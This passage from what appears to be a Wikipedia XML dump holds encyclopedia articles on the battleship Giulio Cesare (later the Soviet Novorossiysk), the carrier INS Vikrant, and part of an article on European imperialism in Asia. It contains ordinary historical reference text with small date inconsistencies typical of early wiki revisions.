'''''Giulio Cesare'' ''' was an [[Italy|Italian]] [[Conte di Cavour class battleship|''Conte di Cavour''-class]] [[battleship]] that served in the [[Regia Marina]] in both [[World War]]s before joining the [[Soviet Navy]]. Her keel was laid down on [[June 24]], [[1910]] at Cantieri [[Ansaldo]], [[Genoa]]. She was launched [[October 15]], [[1911]], and construction was completed [[May 14]], [[1914]].

''Giulio Cesare'' ([[Italian language|Italian]] for [[Julius Caesar]], motto ''Caesar Adest'') had no active missions during [[World War I]]. In 1926 attacked the Greek island of [[Corfu]], as a reaction against the killing of Italian representatives in Jamina; later was renovated.  From 1928 to 1933 she was used as an [[artillery]] training ship, then went into the yards for extensive modernization.

Between 1933 and 1937 she was completely rebuilt, changing her silhouette and increasing her combat capabilities. Length was increased by 10.3 meters, and she was given new armored decks and new propulsion machinery that uprated her to 93,000 [[horsepower]] (69 MW), and allowed a speed of 28 [[knot (nautical)|knots]] (52 km/h).

During the [[Battle of Calabria|Battle of Punta Stilo]] on [[July 9]], [[1940]], ''Giulio Cesare'' was hit by a 15 inch (381 mm) shell as [[HMS Warspite (1913)|HMS ''Warspite'']] set the record for naval gunnery against a moving target at well over 24,000 meters (26,000 yards).

''Giulio Cesare'' was assigned to covering convoys, participating in the [[First Battle of Sirte]], until 1942, when she was declared obsolete for operative missions and used for training purposes only. After [[World War II]], ''Giulio Cesare'' was ceded to the [[Soviet Union]] as compensation for war damages.

==''Novorossiysk'' ==

The Soviet Navy recommissioned the [[battleship]] as the ''Novorossiysk''. ''Novorossiysk'' was based at [[Sevastopol]] from July 1949, serving as flagship of the Black Sea Fleet and later as a gunnery training vessel. On [[October 29]], [[1955]], the ''Novorossiysk'' was moored in [[Sevastopol]] Bay, 300 meters (1000 feet) from shore and opposite a hospital. At 1:30am, an explosion estimated to be the equivalent of 1,200 kilograms of [[Trinitrotoluene|TNT]] under the bow of the ship pierced all decks from the bottom plating to the forecastle deck. In the forecastle deck there was one hole which measured 14×4 meters in size. The damage extended aft from the bow 22 meters.

The ship sank slowly from the bow, capsizing at 4:15am, 2 hours 45 minutes after the explosion, and 18 hours later became fully submerged. The capsizing resulted in the death of 608 sailors, most of whom were staying in the ship's compartments. It became the worst disaster in Soviet naval history. Because of the politics of the [[Cold War]], the fate of the ''Novorossiysk'' remained clouded in mystery until the late 1980s.

The cause of the explosion is still unclear. The official and most probable cause of the sinking is a magnetic [[naval mine]] RMH, laid by the Germans during the [[World War II|war]]. During the next two years, divers found 19 German mines on the bottom of Sevastopol Bay. Eleven of the mines were as powerful as the estimated blast under ''Novorossiysk''. There is some doubt that the blast was caused by a mine. The area where ''Novorossiysk'' sank was considered swept of mines, and other ships had used the area without triggering the mine. Some experts place the maximum battery life of the magnetic mines at 9 years, and thus contend that such a mine would be unlikely to trigger by the time of the explosion. Another problem some experts claim is that the size of the crater (1 - 2.1 m deep) was too small for such a big mine. According to some research, damage to the ship corresponded to an explosion equivalent to 5,000 kilograms of [[Trinitrotoluene|TNT]].

A more theatrical explanation was that Italian [[frogmen]] were avenging the transfer of the formerly-Italian battleship to the USSR. Covert action by the Italian special operations unit ''[[Decima Flottiglia MAS]]'' has often been surmised, and there are reports that not long thereafter a small group of Italian Navy frogmen received high military awards. However, no firm evidence exists for this hypothesis. Another theory states that explosives were hidden in the ship before she was given to the Russians. No evidence of sabotage has been found, though Soviet enquiries did not rule out the possibility because of the poor safeguarding of the fleet base on the night of the explosion. The goal of covertly destroying the battleship would be a small prize compared to the risk of provoking war if discovered, so the motive of such an Italian operation is questionable and does not support these theories. There is also a [[conspiracy theory]] that ''Novorossisyk'' was sunk by Soviet secret service divers in order to blame [[Turkey]] for the sabotage as justification to take control of [[Bosporus]] and [[Dardanelles]], and that the plan was eventually abandoned. There is no strong evidence to support this hypothesis.

The enormous loss of life was directly blamed on the incompetent actions of her captain, Fleet Commander Vice Admiral [[Victor Parkhomenko]]. Among other underestimates of the danger to his ship, he did not know the conditions of the sea bottom, believing that the ratio between the sea depth (17 meters) and the ship's beam (28 meters) would prevent capsizing. However, the bottom was soft ooze, 15 meters deep, which offered no resistance. It was also reported that the commander displayed conceit and groundless calmness during this critical situation, and had even expressed the wish to &quot;go have some tea&quot;. 

Because of the loss of ''Novorossiysk'', the First Deputy Minister of Defence and Commander-in-Chief of the Navy [[Nikolai Gerasimovich Kuznetsov]] was fired from his post in November 1955, and in February 1956 was demoted to the rank of vice admiral and sent to retirement without the right to return to active service in the Navy.

[[Category:Soviet Navy ships|Novorossiysk]]
[[Category:Conte di Cavour class battleships|Giulio Cesare]]

[[it:Giulio Cesare (corazzata)]]</text>
    </revision>
  </page>
  <page>
    <title>INS Vikrant</title>
    <id>15442</id>
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      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:INS_Vikrant_BW.jpg |thumb|300px|File photo of INS Vikrant while it was in service]] --&gt;
The '''INS ''Vikrant''''' (formerly the [[HMS Hercules (R49)|'''HMS ''Hercules'' (R49)''']]) was a [[Majestic class aircraft carrier|''Majestic''-class]] light [[aircraft carrier]] of the [[Royal Navy]]. Her [[keel]] was laid down [[November 12]], [[1943]] by [[Vickers-Armstrong]] of [[Tyne, England]], and she was launched on [[September 22]], [[1945]]. Construction was suspended after [[World War II]] and she was laid up for possible future use. In January [[1957]] she was sold to [[India]], and construction was completed at [[Harland and Wolff]] with an extensively modernized design, including an angled deck with [[steam catapult]]s, a modified [[island]], and many other improvements.

The Indian high commissioner to the [[United Kingdom]], [[Vijayalakshmi Pandit]], commissioned her as '''INS ''Vikrant''''' on [[4 March]] [[1961]] while she was still at [[Belfast]], [[Northern Ireland]].  Captain Pritam Singh was the first commanding officer of the carrier. She formally joined the Indian fleet at [[Mumbai|Bombay]] on [[November 3]], [[1961]], when she was received at Ballard Pier by Prime Minister [[Jawaharlal Nehru]] and other high-ranking dignitaries.

The &lt;i&gt;Vikrant&lt;/i&gt;'s initial airwing consisted of British [[Hawker Sea Hawk]] [[fighter-bomber]]s and a [[France|French]] [[Breguet Alize|Alize]] [[Anti-submarine weapon|anti-submarine]] aircraft. On [[May 18]], [[1961]], the first jet landed on board, piloted by Lieutenant (later Admiral) R H Tahiliani.

In [[1965]], [[Pakistan]] claimed that it had sunk the ''Vikrant''.  At the time, however, the ship was under refit in [[dry dock]].

Despite a crack in a [[boiler]], she saw real combat against Pakistan in the [[1971]] [[Liberation War of Bangladesh]]. She was considered important enough by the [[Pakistan Navy]] that they sent the [[submarine]] [[PNS Ghazi|''Ghazi'']] all the way to the [[Bay of Bengal]] to [[naval mine|mine]] the [[Visakhapatnam]] [[harbor]] in an unsuccessful attempt to sink the ''Vikrant''; the Ghazi itself falling prey to INS Rajput. The ''Vikrant'' played an instrumental role in sinking several Pakistani [[patrol boat]]s and naval vessels. During the war the crew of ''Vikrant'' earned two [[Mahavir Chakra]]s and 12 [[Vir Chakra]]s.

''Vikrant'' was given an extensive refit, including new engines and modernization between [[1979]] and [[January 3]], [[1982]]. Between December 1982 and February [[1983]] she was refitted again to enable her to operate [[BAE Sea Harrier|Sea Harriers]]. After the retirement of the [[Breguet Alizé|Alize]] [[propeller]]-driven anti-submarine planes from carrier service in [[1989]], she received a '[[ski jump]]' for more efficient use of her [[BAE Sea Harrier|Sea Harriers]].

''Vikrant'' was India's only carrier for over 20 years, but by the early [[1990s]] she was effectively out of service because of her poor condition. Even following major overhauls she was rarely put to sea. She was formally decommissioned [[January 31]], [[1997]] and is preserved as a museum at [[Mumbai]].

The name ''Vikrant'' was taken from [[Sanskrit]] ''vikrānta'' = &quot;stepped beyond&quot;, i.e. &quot;courageous&quot;, &quot;victorious&quot;.

[[Image:INS_Vikrant_Stamp.jpg |thumb|Indian Postal Stamp of INS Vikrant]]

=== General characteristics ===
* Displacement: 15,700 tons standard, 19,500 tons full load
* Length: 192 m (630 ft) waterline, 213.3 m (700 ft) extreme
* Beam: 24.4 m (80 ft) waterline, 39 m (128 ft) extreme
* Draft: 7.3 m (24 ft)
* Propulsion: Parsons geared steam turbines, 4 Admiralty three-drum boilers, 2 shafts, 40,000 hp (30 MW), 23 knots (43 km/h)
* Range 12,000 miles (19,000 km) at 14 knots (26 km/h)
* Crew: 1075 usual, 1340 wartime
* Armor: none
* Armament: 16 x 40 mm Bofors antiaircraft guns, later reduced to eight
* Aircraft:
** 6 Westland Sea King Mk42B
** 3 Westland Sea King Mk42C
** Fixed Wing 6 BAe Sea Harriers FRS.51

{{Majestic class aircraft carrier}}

[[Category:Museum ships|Vikrant]]
[[Category:Cold War aircraft carriers of India|Vikrant]]
[[Category:Majestic class aircraft carriers|Vikrant]]
[[Category:Visitor attractions in Mumbai]]
[[Category:Indian Navy aircraft carriers]]

[[ja:ヴィクラント (空母)]]</text>
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  </page>
  <page>
    <title>Imperialism in Asia</title>
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      <comment>/* References and further reading */</comment>
      <text xml:space="preserve">Western '''imperialism in Asia''' traces its roots back to the late [[15th century]] with a series of voyages that sought a sea passage to [[South Asia]] in the hope of establishing direct trade between Europe and Asia in [[spices]]. Before [[1500]] European economies were largely self-sufficient, only supplemented by minor trade with Asia and Africa. Within the next century, however, European and Asian economies were slowly becoming integrated through the rise of new global trade routes; and the early thrust of European political power, commerce, and culture in Asia gave rise to a growing trade in lucrative [[commodity|commodities]]—a key development in the rise of today's modern world [[capitalism|capitalist]] economy.

In the [[16th century]], the [[Portuguese Empire|Portuguese]] established a monopoly over trade between Asia and Europe by managing to prevent rival powers from using the water routes between Europe and the Indian Ocean. However, with the rise of the rival [[Dutch East India Company]], Portuguese influence in Asia was gradually eclipsed. Dutch forces first established independent bases in the East (most significantly [[Batavia, Dutch East Indies|Batavia]], the heavily fortified headquarters of the Dutch East India Company) and then between [[1640]] and [[1660]] wrestled [[Malacca]], [[Ceylon]], most southern Indian ports, and the lucrative [[Japan]] trade from the Portuguese. Later, the English and the French established settlements in India and established a trade with China; and their own acquisitions would gradually surpass those of the Dutch. Following the end of the [[Seven Years War]] in [[1763]], the British eliminated French influence in India and established the [[British East India Company]] as the most important political force on the [[Indian subcontinent]].

Before the [[Industrial Revolution]] in the mid-to-late [[19th century]], demand for oriental goods remained the driving force behind European imperialism, and (with the important exception of British East India Company rule in India) the European stake in Asia remained confined largely to trading stations and strategic outposts necessary to protect trade. Industrialization, however, dramatically increased European demand for Asian raw materials; and the severe [[Long Depression]] of the [[1870s]] provoked a scramble for new markets for European industrial products and financial services in Africa, the Americas, Eastern Europe, and especially in Asia. This scramble coincided with a new era in global colonial expansion known as &quot;the [[New Imperialism]],&quot; which saw a shift in focus from trade and [[indirect rule]] to formal colonial control of vast overseas territories ruled as political extensions of their mother countries. Between the 1870s and the beginning of the [[First World War]] in [[1914]], Britain, France, and the Netherlands—the established colonial powers in Asia—added to their empires vast expanses of territory in the Middle East, South Asia, and Southeast Asia. In the same period, [[Japan]], following the [[Meiji Restoration]]; [[German Empire|Germany]], following the end of the [[Franco-Prussian War]] in [[1871]]; [[Imperial Russia|Tsarist Russia]]; and the [[United States]], following the [[Spanish-American War]] in [[1898]] quickly emerged as new imperialist powers in East Asia and in the Pacific.

In Asia, World War I and [[World War II]] were played out as struggles among several key imperialist powers—conflicts involving the European powers along with Russia and the rising American and Japanese powers. None of the colonial powers, however, possessed the resources to withstand the strains of both world wars and maintain their direct rule in Asia. Although nationalist movements throughout the colonial world led to the political independence of nearly all of the Asia's remaining colonies, [[decolonization]] was intercepted by the [[Cold War]]; and Southeast Asia, South Asia, the Middle East, and East Asia remained embedded in a world economic, financial, and military system in which the great powers compete to extend their influence. However, the rapid postwar economic development of the [[East Asian Tigers]] and the [[People's Republic of China]], along with the collapse of the [[Soviet Union]], have loosensed European and North American influence in Asia, generating speculation today about the possible reemergence of China and Japan as regional powers.

==Asian empires before European contact==
''To be inserted upon completion''

==Early European penetration of Asia==

===Medieval European exploration of Asia===
[[Image:Marco Polo traveling.JPG|thumb|Illustration of Marco Polo's arrival in a Chinese city]]

In the [[13th century|13th]] and [[14th century|14th centuries]], a number of Europeans, many of them Christian [[missionary|missionaries]], had sought to penetrate China. The most famous of these travelers was [[Marco Polo]]. But these journeys had little permanent effect on East-West trade because of a series of political developments in Asia in the last decades of the 14th century, which put an end to further European exploration of Asia. The [[Yuan dynasty]] in China, which had been receptive to European missionaries and merchants, was overthrown, and the new [[Ming dynasty|Ming]] rulers were found to be inward oriented and unreceptive to foreign religious proselytism. Meanwhile, Muslim Turks consolidated control over the eastern [[Mediterranean Sea| Mediterranean]], closing off key overland trade routes. Thus, until the 15th century, only minor trade and cultural exchanges between Europe and Asia continued at certain terminals controlled by Muslim traders.

===The search for new East-West trade routes===

The three existing major routes by which trade flowed from South and East Asia to Europe dated back to [[Ancient Rome|Roman times]]. The northern one cut across Central Asia and the Caspian and Black Seas to [[Constantinople]]; the middle route went by sea along the coasts of India and Persia through the [[Persian Gulf]] and [[Euphrates]] valley to [[Antioch]]; and the southern route charted across the Indian Ocean and up the [[Red Sea]] to [[Alexandria]] in Egypt.

The search by Europeans for new routes began in earnest in the 15th century, a period of rapid growth in the westward flow of commerce and wealth, despite the expansion of the Turks, which greatly hampered the flow of people and capital between East and West. The most important imports into Europe were [[spices]], including [[cinnamon]], [[cloves]], [[ginger]], [[black pepper|pepper]], and [[nutmeg]], which rapidly became [[commodity|commodities]] in Europe highly valued primarily as [[preservative]]s for foods, and secondarily as condiments. Chinese silk, Indian [[cotton]] cloth, and various precious minerals and metals were also commodities in increasingly high demand in Europe.

The Mediterranean carrying trade in oriental goods was in the hands of [[Venice]] and other Italian city-states, which wielded an extensive and lucrative monopoly. Since the Arabs held a similar monopoly east of the Mediterranean, South and East Asian goods were sold in Europe for many times the price to produce them in Asia. As the demand for the products of the East increased during the latter half of the 15th century, the rulers of the new nations of Western Europe, particularly Spain and Portugal, following the increasingly influential economic doctrine of [[mercantilism]], became aware that their adverse [[balance of trade]] was draining their coined money away to Mediterranean trade monopolies and merchants.

===Oceanic voyages to Asia===

Western European rulers determined to find new trade routes of their own. The Portuguese spearheaded the drive to find oceanic routes that would provide cheaper and easier access to South and East Asian goods. This chartering of oceanic routes between East and West began with the unprecedented voyages of Portuguese and Spanish sea captains. Their voyages were influenced by medieval European adventurers, who had journeyed overland to the Far East and contributed to geographical knowledge of parts of Asia upon their return. 

In [[1488]] [[Bartholomew Diaz]] rounded the southern tip of Africa under the sponsorship of Portugal's [[John II of Portugal|John II]], from which point he noticed that the coast swung northeast. Although his crew forced him to turn back, he was pleased with the prospect of soon finding a sea route to India. Later, starting in [[1497]], Portuguese navigator [[Vasco da Gama]] made the first open voyage from Europe to India. In 1520 [[Ferdinand Magellan]], a Portuguese navigator in the service of Spain, found a sea route into the [[Pacific Ocean]].

==Portuguese and Spanish trade and colonization in Asia==
''For further detail see [[Portuguese Empire]].''

===Portuguese monopoly over trade in the Indian Ocean===
[[Image:afonso_albuquerque3.jpg|thumb|left|Early in the 16th century [[Afonso de Albuquerque]] (above) emerged as the Portuguese colonial viceroys most instrumental in consolidating Portugal's holdings in Africa and in Asia. He understood that Portugal could wrest commercial supremacy from the Arabs only by force, and therefore devised a plan to establish forts at strategic sites which would dominate the trade routes and also protect Portuguese interests on land. In 1510 he sized [[Goa]] in India, which enabled him to gradually consolidate control of most of the commercial traffic between Europe and Asia, and even between India and the Far East.]]

In Asia, European powers initially exploited the discoveries of their explorers largely through trade; Europeans started to carry on trade from forts, acting as foreign merchants rather than as settlers. In contrast, early European expansion in the &quot;[[West Indies]],&quot; (later known to Europeans as a separate continent from Asia that they would call the &quot;[[Americas]]&quot;) following the 1492 voyage of [[Christopher Columbus]], involved heavy settlement in colonies that were treated as political extensions of the mother countries, which sought to transplant European civilization to a new environment.

Lured by the potential of high profits from another expeditions, the Portuguese established a permanent base south of the Indian trade port of [[Calicut]] in the early 15th century. In [[1510]] the Portuguese seized [[Goa]] on the coast of India, which Portugal held until [[1961]]. The Portuguese soon acquired a monopoly over trade in the Indian Ocean. 

Portuguese viceroy [[Afonso de Albuquerque]] ([[1509]]-[[1515]]) resolved to consolidate Portuguese holdings in Africa and Asia, and secure control of trade with the [[East Indies]] and [[China]]. His first objective was [[Malacca]], which controlled the narrow strait through which most Far Eastern trade moved. Captured in [[1511]], Malacca became the springboard for further eastward penetration; several years later the first trading posts were established in the [[Moluccas]], or &quot;Spice Islands,&quot; which was the source for some of the world's most hotly demanded spices. By [[1516]] the first Portuguese ships had reached [[Canton]] on the southern coasts of China. By [[1557]] the Portuguese gained a permanent base in China at [[Macao]], which they held until [[1999]]. The Portuguese, based at Goa and Malacca, had now established a lucrative maritime empire in the Indian Ocean meant to monopolize the [[spice trade]]. The Portuguese also began a channel of trade with the Japanese, becoming the first recorded Westerners to have visited Japan. This contact introduced Christianity and fire-arms into Japan.

The energies of Spain, the other major colonial power of the 16th century, were largely concentrated on the Americas, not South and East Asia. But the Spanish did establish a footing in the Far East in the [[Philippine Islands]]. After [[1565]], cargoes of Chinese goods were transported from the Philippines to Mexico and from there to Spain. By this long route, Spain reaped some of the profits of Far Eastern commerce. Spanish officials converted the island to Christianity and established some settlements, permanently establishing the Philippines as the area of East Asia most oriented toward the West in terms of culture and commerce.

===The decline of Portugal's Asian empire since the 17th century===
[[Image:2 tanga 1643 rev.jpg|thumb|A silver Indo-Portuguese coin featuring a standing figure facing right with flag struck for and minted in [[Goa]] during the reign of [[John IV of Portugal|John IV]].]]

The lucrative trade was vastly expanded when the Portuguese began to export [[Slavery|slave]] from Africa in [[1541]]; however, over time, the rise of the slave trade left Portugal over-extended, and vulnerable to competition from other Western European powers. Envious of Portugal's control of trade routes, other Western European nations—mainly Holland, France, and England—began to send in rival expeditions to Asia. In [[1642]] the Dutch drove the Portuguese out of the [[Gold Coast]] in Africa, the source of the bulk of Portuguese slave laborers, leaving this rich slaving area to other Europeans, especially the Dutch and the English.

Rival European powers began to make inroads in Asia as the Portuguese and Spanish trade in the Indian Ocean declined primarily because they had become hugely over-stretched financially due to the limitations on their investment capacity  and contemporary naval technology. Both of these factors worked in tandem, making control over Indian Ocean trade extremely expensive. 

The existing Portuguese interests in Asia proved sufficient to finance further colonial expansion and entrenchment in areas regarded as of greater strategic importance in nearer Africa and Brazil. Portuguese maritime supremacy was lost to the Dutch in the 17th century, and with this came serious challenges for the Portuguese. However, they still clung to Macau, and settled a new colony in [[Timor]] Island. It was as recent as the [[1960s]] and [[1970s]] that the Portuguese began to relinquish their colonies in Asia. Goa was invaded by India in [[1962]]; [[East-Timor]] was abandoned in [[1975]] and was then invaded by Indonesia; and Macau was handed over to the Chinese as per a treaty in [[1999]].

==Dutch trade and colonization in Asia==
{{main article|[[Dutch colonial empire]]}}

===The rise of Dutch control over Asian trade in the 17th century===
[[Image:Dutcheastindies.jpg|left|thumb|Dutch settlement in the East Indies. Batavia, Java (now [[Jakarta]]), c. 1665.]]

Portuguese decline in Asia was accelerated by the attacks on their commercial empire by the Dutch and the English, which began a global struggle over empire in Asia that lasted until the end of the [[Seven Years War]] in [[1763]]. The Netherlands revolt against Spanish rule facilitated Dutch encroachment of the Portuguese monopoly over South and East Asian trade. The Dutch looked on Spain's trade and colonies as potential spoils in war. When the two crowns of the Iberian peninsula were joined in [[1581]], the Dutch felt free to attack Portuguese territories in Asia.

By the [[1590s]] a number of Dutch companies were formed to finance trading expeditions in Asia. Because competition lowered their profits, and because of the doctrines of [[mercantilism]], in [[1602]] the companies united into a [[cartel]] and formed the [[Dutch East India Company]], and received from the government the right to trade and colonize territory in the area stretching from the [[Cape of Good Hope]] eastward to the [[Strait of Magellan]].

In [[1605]] armed Dutch merchants captured the Portuguese fort at [[Amboyna]] in the Moluccas, which was developed into the first secure base of the company. Over time the Dutch gradually consolidated control over the great trading ports of the East Indies. Control over the East Indies trading ports allowed the company to monopolize the world [[spice trade]] for decades. Their monpoloy over the spice trade became complete after they drove the Portuguese from [[Malacca]] in [[1641]] and [[Ceylon]] in [[1658]].

Dutch East India Company colonies or outposts were later established in Atjeh ([[Aceh]]), [[1667]]; [[Macassar]], [[1669]]; and [[Bantam]], [[1682]]. The company established its headquarters at [[Batavia, Dutch East Indies|Batavia]] (today [[Jakarta]]) on the island of [[Java (island)|Java]]. Outside the East Indies, the Dutch East India Company colonies or outposts were also established in Persia (now Iran), [[Bengal]] (now Bangladesh and part of India), Mauritius ([[1638]]-[[1658]]/[[1664]]-[[1710]]), [[Siam]] (now Thailand), [[Guangzhou]] (Canton, China), [[Taiwan]] ([[1624]]-[[1662]]), and southern India ([[1616]]-[[1795]]). In 1662, [[Zheng Chenggong]] (also known as Koxinga) expelled the Dutch from Taiwan. (''see'' [[History of Taiwan]]) Further, the Dutch East India Company trade post on [[Dejima]] ([[1641]]- [[1857]]), an artificial island off the coast of [[Nagasaki]], was for a long time the only place where Europeans could trade with Japan. 

In [[1652]], [[Jan van Riebeeck]] established an outpost at the [[Cape of Good Hope]] (the southwestern tip of Africa, currently in South Africa) to restock company ships on their journey to East Asia. This post later became a fully-fledged colony, the [[Cape Colony]] ([[1652]]-[[1806]]). As Cape Colony attracted increasing Dutch and European settlement, the Dutch founded the city of Kaapstad ([[Cape Town]]).

By [[1669]], the Dutch East India Company was the richest private company in history, with a huge fleet of merchant ships and warships, tens of thousands of employees, a private army consisting of thousands of soldiers, and a reputation on the part of its stockholders for high dividend payments.

===Decline of the Dutch in Asia and the rise of Britain===

The company was in almost constant conflict with the English; relations were particularly tense following the [[Amboyna Massacre]] in [[1623]]. During the 18th century, Dutch East India Company possessions were increasingly focused on the East Indies. After the fourth war between the [[Dutch Republic|United Provinces]] and England ([[1780]]–[[1784]]), the company suffered increasing financial difficulties. In [[1799]], the company was dissolved. 

The East Indies were awarded to The [[Kingdom of the Netherlands]] by the [[Congress of Vienna]] in [[1815]]. After the [[Napoleonic Wars]], the Dutch concentrated their colonial enterprise in the [[Dutch East Indies]] ([[Indonesia]]) throughout the 19th century. The Dutch lost control over the East Indies to the Japanese during the much of the Second World War. Following the war, the Dutch fought Indonesian independence forces after T&amp;#333;ky&amp;#333; surrendered to the Allies in [[1945]].

==The British in India==
===Portuguese, French, and British competition in India (1600-1763)===
[[Image:Clive.jpg|thumb|Robert Clive, 1st Baron Clive]]
The English sought to stake out claims in India at the expense of the Portuguese dating back to the era of Queen [[Elizabeth I of England|Elizabeth I]]. In [[1600]] Elizabeth incorporated the [[British East India Company|English East India Company]] (later the British East India Company), granting it a monopoly of trade from the Cape of Good Hope eastward to the Strait of Magellan. In [[1639]] it acquired [[Madras]] on the east coast of India, where it quickly surpassed Portuguese Goa as the principal European trading center on the subcontinent.  

Through bribes, diplomacy, and manipulation of weak native rulers, the company prospered in India, where it became the most powerful political force on the subcontinent, and outrivaled its Portuguese, and French competitors. For more than one hundred years English and French trading companies had fought one another for supremacy, and by the middle of the 18th century competition between the British and the French had heated up. French defeat by the British under the command of [[Robert Clive]] during the [[Seven Years War]] ([[1756]]-[[1763]]) marked the end of the French stake in the subcontinent.

===The collapse of Mughal India===
{{main article|[[Company rule in India]]}}

The British East India Company, although still in direct competition with French and Dutch interests until 1763, was able to extend its control over almost the whole of the subcontinent in the century following the subjugation of [[Bengal]] at the 1757 [[Battle of Plassey]]. The British East India Company made great advances at the expense of a [[Mughal]] dynasty, seething with corruption, oppression, and revolt, that was crumbling under the despotic rule of [[Aurangzeb]] ([[1658]]-[[1707]]).

The reign of [[Shah Jahan]] ([[1628]]-[[1658]]) had marked the height of Mughal power. However, the reign of Aurangzeb, a ruthless and fanatical man who intended to rid [[India]] of all views alien to the Muslim faith, was disastrous. By [[1690]], when Mughal territorial expansion reached its greatest extent, Aurangzeb's India encompassed the entire Indian peninsula. But this period of power was followed by one of decline. Fifty years after the death of Aurangzeb, the great Mughal empire had crumbled. Meanwhile, marauding warlords, nobles, and others bent on gaining power left the subcontinent increasingly anarchic. Although the Mughals kept the imperial title until [[1858]], the central government had collapsed, creating a power vacuum.

===From Company to Crown===
{{main article|[[British Raj]]}}
[[Image:21701760 5EastIndiaHouse.jpg|left|thumb|An 1825 painting of the British East India Company's [[East India House]], which opened in 1799]]

Aside from defeating the French, during the Seven Years' War, [[Robert Clive]], the leader of the Company in India, defeated a key Indian ruler of Bengal at the decisive [[Battle of Plassey]] ([[1757]]), a victory that ushered in the beginning of a new period in Indian history, that of informal British rule. While still nominally the sovereign, the Mughal Indian emperor became more and more of a puppet ruler, and anarchy spread until the company stepped into the role of policeman of India.

The transition to formal imperialism, characterized by [[Victoria of the United Kingdom|Queen Victoria]] being crowned &quot;Empress of India&quot; in the [[1870s]] was a gradual process. The first step toward cementing formal British control extended back to the late [[18th century]]. The British Parliament, disturbed by the idea that a great business concern, interested primarily in profit, was controlling the destinies of millions of people, passed acts in [[1773]] and [[1784]] that gave itself the power to control company policies and to appoint the highest company official in India, the [[governor-general]]. (This system of dual control lasted until [[1858]].) By [[1818]] the East India Company was master of India. Some local rulers were forced to accept its overlordship; others were deprived of their territories. Some portions of the subcontinent were administered by the British directly; in others native dynasties were retained under British supervision.

Until [[1858]], however, much of the subcontinent was still officially the dominion of the Mughal emperor. Anger among some social groups, however, was seething under the governor-generalship of [[James Andrew Broun-Ramsay, 10th Earl of Dalhousie|James Dalhousie]] ([[1847]]-[[1856]]), who annexed the [[Punjab region|Punjab]] ([[1849]]) after victory in  the [[Second Anglo-Sikh War|Second Sikh War]], annexed seven princely states on the basis of [[lapse]], annexed the key state of [[Oudh]] on the basis of misgovernment, and upset cultural sensibilities by banning Hindu practices such as [[Sati]]. The [[1857]] [[Indian_Mutiny|Sepoy Rebellion]], or Indian Mutiny, an uprising initiated by Indian troops, called sepoys, who formed the bulk of the Company's armed forces, was the key turning point. Fortunately for the British, many areas remained loyal and quiescent, allowing the revolt to be crushed after fierce fighting. One important consequence of the revolt was the final collapse of the Mughal dynasty. The mutiny also ended the system of dual control under which the British government and the British East India Company shared authority. The government relieved the company of its political responsibilities, and in [[1858]], after 258 years of existence, the company relinquished its role. Trained civil servants were recruited from graduates of British universities, and these men set out to rule India. Lord Canning (created earl in [[1859]]), appointed governor-general of India in [[1856]], became known as &quot;Clemency Canning&quot; as a term of derision for his efforts to restrain revenge against the Indians during the Indian Mutiny. When the government of India was transferred from the Company to the Crown, Canning became the first [[viceroy]] of India.

===The rise of Indian nationalism===
{{main_article|[[Indian independence movement]]}}

British rule modernized India in many respects. The spread of [[railroad]]s from 1853 contributed to the expansion of business, while [[cotton]], tea and [[indigo]] [[plantation]]s drew new areas into the commercial economy. But the removal of import duties in 1883 exposed India's emerging industries to unfettered British competition, provoking another quite modern development: the rise of a [[nationalism|nationalist]] movement. 

The denial of equal status to Indians was the immediate stimulus for the formation in 1885 of the [[Indian National Congress]], initially loyal to the Empire but committed from 1905 to increased self-government and by 1930 to outright independence. The &quot;Home charges,&quot; payments transferred from India for administrative costs, were a lasting source of nationalist grievance, though the flow declined in relative importance over the decades to independence in 1947. 

Although majority [[Hindu]] and minority [[Muslim]] political leaders were able to collaborate closely in their criticism of British policy into the [[1920s]], British support for a distinct Muslim political organization from [[1906]] and insistence from the [[1920s]] on separate electorates for religious minorities, is seen by many in India as having contributed to Hindu-Muslim discord and the country's eventual partition.

==France in Indochina==
{{main_article|[[French Indochina]]}}
[[Image:Frenchindochina.jpg|thumb|French soldiers appear with local residents at a military post in French Indochina in the early 1900s.]]

France, which had lost its empire to the British by the end of the eighteenth century, had little geographical or commercial basis for expansion in Southeast Asia. After the [[1850s]] French imperialism was initially impelled by a nationalistic need to rival Britain and was supported intellectually by the concept of the superiority of French culture and France's special ''[[mission civilisatrice]]''&amp;mdash;the civilizing of the native through assimilation to French culture. The immediate pretext for French expansionism in Indochina was the protection of French religious missions in the area, coupled with a desire to find a southern route to [[China]] through [[Tonkin]], the northern region of northern [[Vietnam]].

French religious and commercial interests were established in Indochina as early as the seventeenth century, but no concerted effort at stabilizing the French position was possible in the face of British strength in the [[Indian Ocean]] and [[Napoleonic Wars|French defeat]] in Europe at the end of the eighteenth and beginning of the nineteenth centuries. A mid-nineteenth century religious revival under the [[Second Empire]] provided the atmosphere within which interest in Indochina grew. Anti-Christian persecutions in the Far East provided the immediate cause. In [[1856]] the Chinese executed a French missionary in southeastern China, and in [[1857]] the Vietnamese emperor, faced with a domestic crisis, tried to destroy foreign influences in his country by executing the Spanish bishop of [[Tonkin]]. Under [[Napoleon III]], France decided that [[Catholicism]] would be eliminated in the Far East if France did not go to its aid, and accordingly the French joined the British against [[China]] in the [[Second Opium War]] from [[1857]] to [[1860]] and took action against [[Vietnam]] as well. By [[1860]] the French occupied [[Saigon]]. 

By a Franco-Vietnamese treaty in [[1862]], the Vietnamese emperor ceded France outright the three provinces of [[Cochin China]] in the south; France also secured trade and religious privileges in the rest of Vietnam and a protectorate over Vietnam's foreign relations. Gradually French power spread through exploration, the establishment of protectorates, and outright annexations. Their seizure of [[Hanoi]] in [[1882]] led directly to war with [[China]] ([[1883]]-[[1885]]), and the French victory confirmed French supremacy in the region. [[France]] governed [[Cochin China]] as a direct colony, and [[Annam]] (central [[Vietnam]]), [[Tonkin]], and [[Cambodia]] as protectorates in one degree or another. [[Laos]] too was soon brought under French &quot;protection.&quot;

